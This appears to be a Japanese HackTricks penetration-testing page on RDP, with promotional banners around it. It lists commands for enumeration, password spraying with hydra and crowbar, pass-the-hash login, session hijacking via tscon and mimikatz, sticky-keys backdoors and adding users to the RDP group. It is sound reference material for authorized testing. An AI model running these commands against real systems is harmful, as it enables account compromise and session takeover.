11 KiB
3389 - Pentesting RDP
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
どこからでも利用可能な脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ。20以上のツールと機能を備えた完全なペンテストを実行し、レコンからレポート作成までをカバーします。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
基本情報
Microsoftによって開発されたRemote Desktop Protocol(RDP)は、ネットワークを介してコンピュータ間のグラフィカルインターフェース接続を可能にするよう設計されています。このような接続を確立するには、ユーザーがRDPクライアントソフトウェアを使用し、同時にリモートコンピュータがRDPサーバーソフトウェアを実行する必要があります。このセットアップにより、遠隔コンピュータのデスクトップ環境をシームレスに制御およびアクセスし、そのインターフェースをユーザーのローカルデバイスにもたらすことができます。
デフォルトポート: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
列挙
自動
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
利用可能な暗号化とDoS脆弱性(サービスにDoSを引き起こさず)をチェックし、NTLM Windows情報(バージョン)を取得します。
Brute force
注意してください、アカウントがロックされる可能性があります
Password Spraying
注意してください、アカウントがロックされる可能性があります
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
既知の資格情報/ハッシュを使用して接続
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
既知の資格情報をRDPサービスに対してチェックする
impacketのrdp_check.pyを使用すると、特定の資格情報がRDPサービスに対して有効かどうかを確認できます:
rdp_check <domain>/<name>:<password>@<IP>
脆弱性評価と侵入テストのための即座に利用可能なセットアップ。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためにカスタムツール、検出、およびエクスプロイテーションモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
攻撃
セッションの盗み出し
SYSTEM権限を使用すると、所有者のパスワードを知る必要なく、任意のユーザーによって開かれたRDPセッションにアクセスできます。
開かれたセッションを取得する:
query user
選択されたセッションへのアクセス
tscon <ID> /dest:<SESSIONNAME>
今度は選択したRDPセッション内に入り、Windowsのツールと機能だけを使ってユーザーをなりすます必要があります。
重要: アクティブなRDPセッションにアクセスすると、それを使用していたユーザーがログアウトされます。
プロセスのダンプからパスワードを取得することもできますが、この方法の方がはるかに速く、ユーザーの仮想デスクトップとやり取りすることができます(パスワードがディスクに保存されずにメモ帳に表示される、他のマシンで開かれている他のRDPセッションなど...)
Mimikatz
これを行うためにmimikatzを使用することもできます:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
このテクニックをstickykeysまたはutilmanと組み合わせると、管理者権限のCMDと任意のRDPセッションにいつでもアクセスできます
すでにこれらのテクニックのいずれかでバックドアを仕掛けられたRDPを検索できます: https://github.com/linuz/Sticky-Keys-Slayer
RDPプロセスインジェクション
異なるドメインからの誰かかより高い権限でRDP経由でログインしてあなたが管理者であるPCに、その人のRDPセッションプロセスにビーコンをインジェクトして彼として行動できます:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
RDPグループへのユーザーの追加
net localgroup "Remote Desktop Users" UserLoginName /add
自動ツール
AutoRDPwnは、主にMicrosoft Windowsコンピュータ上でShadow攻撃を自動化するために設計されたPowerShellで作成されたポストエクスプロイテーションフレームワークです。この脆弱性(Microsoftによって機能としてリストされています)により、リモート攻撃者は被害者のデスクトップを彼の同意なしに表示し、必要に応じて操作することさえできます。これは、オペレーティングシステム自体に組み込まれたツールを使用しています。
- EvilRDP
- コマンドラインから自動的にマウスとキーボードを制御
- コマンドラインからクリップボードを自動的に制御
- クライアントからRDP経由でターゲットにネットワーク通信をチャネル化するSOCKSプロキシを生成
- ターゲット上でファイルをアップロードせずに任意のSHELLおよびPowerShellコマンドを実行
- ファイル転送がターゲットで無効になっている場合でも、ターゲットとの間でファイルのアップロードおよびダウンロードを実行
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ。レコンからレポート作成まで、20以上のツールと機能を使用してどこからでも完全なペネトレーションテストを実行します。私たちはペネトレーションテスターを置き換えるのではなく、彼らに時間を戻し、より深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksおよびHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。